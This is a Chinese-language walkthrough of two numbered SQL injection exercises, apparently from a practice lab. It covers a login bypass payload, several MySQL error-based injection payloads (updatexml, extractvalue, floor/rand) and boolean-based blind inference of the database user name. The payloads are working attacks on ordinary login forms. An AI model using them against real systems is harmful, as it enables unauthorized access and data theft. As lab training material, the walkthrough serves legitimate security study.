第十三题
1 查找注入漏洞
1.1 输入单引号触发错误
从错误信息判断,提交的参数需要闭合单引号和括号
1.2 构造payload,验证注入漏洞
提交如下内容
') or 1=1#
成功登录
2 漏洞利用
2.1 MYSQL显错式注入
关于 MySQL显错注入
-
通过updatexml函数,执行SQL语句
payload:') and updatexml(1,(concat(0x7c,(select @@VERSION))),1)#
-
通过extractvalue函数,执行SQL语句
payload:') and extractvalue(1,concat(0x7c,(select user())))#
-
通过floor函数,执行SQL语句
payload:') union select * from (select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a)b#
-
通过group by重复键冲突显错
payload:') union select concat(left(rand(),3),'^',(select version()),'^')a,count(*) from information_schema.tables group by a#
2.2 使用条件语句推断数据
根据登录状态推断数据
因为当注入 ') or 1=2# 会登录失败,而注入 ') or 1=1# 会登录成功。那么就可以构造条件语句来判断推断的信息是否正确。
eg:推断当前用户名
首先使用length函数推断用户名的长度
payload:') or length(user())=14#
长度正确时登录成功
然后逐字符推断用户名
payload:') or substr(user(),1,1)='r'#
推断当前用户名的第一个字符是不是'r'如果是则能成功登录,如果不是则登录失败。
修改参数推断第二个字符 ') or substr(user(),2,1)='x'#
。。。直到获得完整用户名。
第十四题
与十三题类似,单引号换为双引号,无需闭合括号。